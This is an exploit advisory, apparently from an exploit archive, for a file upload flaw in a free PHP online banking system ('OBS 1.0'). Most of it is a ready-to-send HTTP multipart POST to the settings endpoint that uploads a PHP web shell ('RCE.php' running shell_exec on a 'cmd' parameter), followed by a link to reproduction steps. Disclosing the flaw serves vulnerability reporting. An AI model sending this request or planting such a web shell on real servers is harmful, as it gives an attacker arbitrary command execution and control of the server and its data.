OBS 1.0 Shell Upload

# Titles: OBS (by: oretnom23 ) v1.0 -Copyright © 2025. All rights reserved.
    ### File Upload-FU and Remote Code Execution-RCE Vulnerabilities
    # Author: nu11secur1ty
    # Date: 01/16/2025
    # Vendor: https://github.com/oretnom23
    # Software:
    https://www.sourcecodester.com/php/14868/banking-system-using-php-free-source-code.html#comment-105993
    # Reference: https://portswigger.net/web-security/file-upload |
    https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload
    
    ## Description:
    The update_settings app with parameter "cimg" is vulnerable for File Upload
    and then Remote Code Execution without any execution permission sanitizing.
    The attacker can upload absolutely DANGEROUS files on that server and he
    can destroy it with one click!
    
    STATUS: HIGH-CRITICAL Vulnerability
    
    
    [+]Exploit:
    - RCE Exploit:
    
    ```RCE
    POST /pwnedhost/banking/classes/SystemSettings.php?f=update_settings
    HTTP/1.1
    Host: 192.168.100.45
    Cookie: PHPSESSID=7fd63jibgrngca52b9tpmi5psc
    Content-Length: 853
    Sec-Ch-Ua-Platform: "Windows"
    Accept-Language: en-US,en;q=0.9
    Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
    Sec-Ch-Ua-Mobile: ?0
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
    (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
    Accept: */*
    Content-Type: multipart/form-data;
    boundary=----WebKitFormBoundary6HD3dRMlU2C2zVV3
    Origin: https://192.168.100.45
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: https://192.168.100.45/pwnedhost/banking/admin/?page=system_info
    Accept-Encoding: gzip, deflate, br
    Priority: u=1, i
    Connection: keep-alive
    
    ------WebKitFormBoundary6HD3dRMlU2C2zVV3
    Content-Disposition: form-data; name="name"
    
    Online Banking System
    ------WebKitFormBoundary6HD3dRMlU2C2zVV3
    Content-Disposition: form-data; name="short_name"
    
    OBS
    ------WebKitFormBoundary6HD3dRMlU2C2zVV3
    Content-Disposition: form-data; name="about_us"
    
    <p>Sample About Us</p>
    ------WebKitFormBoundary6HD3dRMlU2C2zVV3
    Content-Disposition: form-data; name="files"; filename=""
    Content-Type: application/octet-stream
    
    
    ------WebKitFormBoundary6HD3dRMlU2C2zVV3
    Content-Disposition: form-data; name="img"; filename="RCE.php"
    Content-Type: application/octet-stream
    
    <?php echo shell_exec($_GET["cmd"]);?>
    
    ------WebKitFormBoundary6HD3dRMlU2C2zVV3
    Content-Disposition: form-data; name="cover"; filename=""
    Content-Type: application/octet-stream
    
    
    ------WebKitFormBoundary6HD3dRMlU2C2zVV3--
    
    ```
    
    # Reproduce:
    [href](https://www.patreon.com/posts/obs-by-oretnom23-120115999)
    
    
    ## Time spent:
    00:35:00